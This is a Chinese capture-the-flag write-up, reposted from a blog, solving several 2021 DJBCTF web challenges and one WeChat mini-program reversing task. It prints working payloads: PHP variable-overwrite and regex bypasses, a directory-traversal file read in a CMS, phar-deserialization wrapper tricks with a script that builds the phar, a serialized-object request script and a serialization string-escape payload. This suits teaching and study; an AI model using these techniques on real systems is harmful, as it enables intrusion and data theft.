小言_互联网的博客

2021-DJBCTF(Web+Re+Crypto+Misc部分)

243人阅读  评论(0)

前言

这次比赛也很开心,学到了挺多东西,谢谢师傅们的出题
太懒了,放在新博客了,图片不能直接搞csdn
https://y4tacker.gitee.io/2021/01/23/2021/1%E6%9C%88/2021-DJBCTF/

veryphp

打开环境代码审计,一堆过滤恶心,还好可以一层一层套下去

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
   
    function __wakeup(){
   
        die("Access Denied!");
    }
    static function oao(){
   
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
   
    die("I am sorry but you have to leave.");
}else{
   
    extract($_POST);
}
if(isset($shaw_root)){
   
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
   
        echo $hint;
    }else{
   
        echo "Almost there."."<br>";
    }
}else{
   
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
   
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

整理下思路:

post传入三个变量,通过变量覆盖赋值,并且不能包含题目中的那些特殊字符

1.$shaw_root满足正则匹配规则,并且长度为29

2.找到$SecretNumber的值,并传入到ans

3.调用qwq类当中的oao方法

那么首先来看这个正则匹配,额,稍微学过正则的都应该能懂,我给出我的一个payload,可以参考学习

-a9<b>111111111>>>>abcphp@Rsz

但是传入参数前shaw_root中间有_过不了正则的限制,这里利用了一个特性,在传入一些非法字符的时候php会把它解析为下划线_,我记得有空格和[+这三个这里我用空格吧,post传入

shaw root=-a9<b>111111111>>>>abcphp@Rsz

传入后得到hint,接下来通过爆破得到了secretnumber是21475

>Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

进入最后一层call_user_func,这里用了其特性,调用类的方法时语法是qwq::oao

因此最终payload是,burp发包即可获得flag

shaw root=-a9<b>111111111>>>>abcphp@Rsz&ans=21475&my ans=qwq::oao

虎山行&虎山行’s revenge

启动环境点进去看,啥都没有是个空白,我老年痴呆了忘记了,www.rar源码泄露

是一个CMS,用Seay快速扫一遍看看有没有啥漏洞,在排除过后发现mc-admin/page-edit.php下存在任意文件读写漏洞,当然在利用前需要登录,有个install.php安装cms,之后登录即可

在第128行开始,如果get传入参数file那么他就会拼接字符串赋值给file_path,没有对传入参数进行过滤,所以造成了目录穿越读取任意文件

else if (isset($_GET['file'])) {
   
  $file_path = '../mc-files/pages/data/'.$_GET['file'];
  
  $data = (file_get_contents($file_path));
  
  $page_file        = $data['file'];
  $page_path        = $data['path'];
  $page_state       = $data['state'];
  $page_title       = $data['title'];
  $page_content     = $data['content'];
  $page_date        = $data['date'];
  $page_time        = $data['time'];
  $page_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
  echo $data;
}

访问

url/mc-admin/page-edit.php?file=../../../../../../flag

得到提示,ctfshowsecretfilehh这个目录里面有东西

flag{
   fuckflag*********}flag not here maybe You can access ctfshowsecretfilehh directory

接下来尝试读取ctfshowsecretfilehh目录一层一层跳出去后,根据报错提示变化,发现就在/var/www/html网站根目录下那么直接访问

http://6e929df5-2a42-48c3-90ec-61f7fda253de.chall.ctf.show/ctfshowsecretfilehh/

得到了

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
   
    public $ctfer = 'shower';
    public function __destruct(){
   
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

第一眼就看见了讨厌的waf,正好有文件穿越漏洞,读取一下

/mc-admin/page-edit.php?file=../../../../../../var/www/html/ctfshowsecretfilehh/waf.php

看了一眼过滤的字符,再想到上面的readgzfile函数,明摆着让我用phar反序列化嘛

<?php
function waf($file){
   
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
   
        die("姿势太简单啦,来一点骚的?!");
    }else{
   
        return $file;
    }
}

url/mc-admin/post.php有个文件上传的地方,点击跳转到url/upload.php,那么上传的部分就ok啦,接下来看waf,从正则当中可以看见,从传入的参数头开始匹配,不能出现里面的非法字符,那么尝试绕过即可

这里采用zlib绕过,当然

compress.zlib://phar://phar.jpg

``compress.zlib2://phar://phar.jpg`

compress.bzip://phar:

compress.bzip2://phar:

php://filter/resource=phar://等等都行,当然不是每一个都合适,上面这些仅仅只是我比赛过后收集到的,没有做测试

接下来开始干活,构造phar文件

<?php
class Ctfshow{
   
    public $ctfer = 'shower';
}
$object = new Ctfshow();
$phar = new Phar('magic.phar');
$phar->startBuffering(); //开始写入
$phar->addFromString('test.txt', 'text'); //设置压缩的文件,这里随便写
$phar->setMetadata($object);//设置头
$phar->stopBuffering();

将生成好的phar文件改后缀为.png,(上传的地方白名单说要图片后缀),在响应头中发现生成的文件名的格式

从burp响应包得到时间,按hint得到文件名

$filename=substr(md5(strtotime('Sat, 23 Jan 2021 10:21:41 GMT')),0,8);
echo $filename;

之后在url/ctfshowsecretfilehh/页面

传入参数http://d1d4b746-d6cb-4492-87a6-11113fa1e0b2.chall.ctf.show/ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/770ebc3d.png即可,访问hint.txt,再一层套娃,说让我访问ctfshowgetflaghhhh目录,来吧代码审计

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
   
    public $username='Firebasky';
    public $password;
    function __destruct() {
   
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
   
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

嗯,很直白吧,让username=ctfshow,并且password等于在利用时间点的时间戳做md5处理那就比较随意了

这里我不知道python与php的md5是不是一样的为了节约时间我就用php处理了,如下payload构造

#Author: Y4tacker
<?php
class Unser {
   
	public $username='ctfshow';
	public $password;
	function __construct(){
   
    	$this->password=(int)md5(time());
	}
}
$a = new Unser();
$c = serialize($a);

function curl_get($url){
   

	$header = array(
		'Accept: application/json',
	);
	$curl = curl_init();
	//设置抓取的url
	curl_setopt($curl, CURLOPT_URL, $url);
	//设置头文件的信息作为数据流输出
	curl_setopt($curl, CURLOPT_HEADER, 0);
	// 超时设置,以秒为单位
	curl_setopt($curl, CURLOPT_TIMEOUT, 1);

	// 超时设置,以毫秒为单位
	// curl_setopt($curl, CURLOPT_TIMEOUT_MS, 500);

	// 设置请求头
	curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
	//设置获取的信息以文件流的形式返回,而不是直接输出。
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
	//执行命令
	$data = curl_exec($curl);

	// 显示错误信息
	if (curl_error($curl)) {
   
		print "Error: " . curl_error($curl);
	} else {
   
		// 打印返回的内容
		var_dump($data);
		curl_close($curl);
	}
}
$url = 'http://d3cecf07-1443-4836-bb32-f1f48eed47da.chall.ctf.show/ctfshowgetflaghhhh/?unser='.$c;
curl_get($url);

本来想着条件竞争的,结果这个system('rm -rf /var/www/html/flag.txt');居然没有执行,也算是主办方没有把对于文件的控制权限搞好吧

再访问/url/flag.txt即可获取flag,因为我这是预期解,后面revenge那个做法也一样,听说就是为了终结非预期

spaceman

打开题目看下代码

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
   
    public $username;
    public $password;
    public function __construct($username,$password)
    {
   
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
   
        if($this->password==='ctfshowvip')
        {
   
            include("flag.php");
            echo $flag;    
        }
        else
        {
   
            echo 'wrong password';
        }
    }
}
function filter($string){
   
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
               
    die("I am sorry but you have to leave.");
}else{
   
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> wrong password

非预期

首先是对post进来的数据做了处理,禁止出现下面的字符

if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}

但是再看下一步的反序列化,需要我们传入的参数是user_namepass_word都带来禁止的下划线,和web1一样,用空格或者[替代即可,直接看看我的非预期吧,很好理解不做解释

payload:

user name=1&pass word=ctfshowvip

预期(推荐不要看)

考点:反序列化字符逃逸,不过我感觉应该是题投稿的时候出错了,预期总感觉像非预期

一步一步来分析

首先,如果不考虑filter函数,我们预期的序列化后字符串应该是类似下面这种

O:8:"spaceman":2:{
   s:8:"username";s:8:"y4tacker";s:8:"password";s:10:"ctfshowvip";}

后面传入1";s:8:"password";s:10:"ctfshowvip即可

需要把s:8:"password";s:36:"1这24个字符给吞掉,我们知道filter里面每出现一个ctfshowup就会减少2字符,所以传11个即可

最终payload:

user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip

额,总感觉有点别扭呢,锅还是给题目吧

有手就行

考点:微信小程序逆向

工具:wxappUnpacker

网址:https://tool.jisuapi.com/base642pic.html (在线base64转图片)

首先打开题目,看到后面有敏感参数?file=scan别被带到沟里去了,以为是读目录啥的,然后出来个憨憨图片,老梗了,后面猜测?file=flag再次去网站转码出来个微信小程序二维码,打开需要我点击54625023次才能获取到flag,我也真用点了,后来嫌麻烦,试着抓包无果,最后尝试逆向

使用安卓模拟器安装微信(我IOS,只能这样),打开目标小程序确保小程序代码被下载到本地,使用 ES文件浏览器 打开文件路径 /data/data/com.tencent.mm/MicroMsg/{User}/appbrand/pkg,如果文件太多可以将微信的数据全部清空再重新打开目标小程序。

获取到了三个.wxapkg后缀的小程序

node wuWxapkg.js 文件名

获得反编译后的文件,最后全局搜索flag居然是明文哈哈哈,挺有意思的

参考文章

https://www.jianshu.com/p/8a0280d0afd8

https://blog.csdn.net/qq_42181428/article/details/100995404

https://blog.csdn.net/songtaiwu/article/details/79455031?utm_source=app&app_version=4.5.0


转载:https://blog.csdn.net/solitudi/article/details/113097738
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场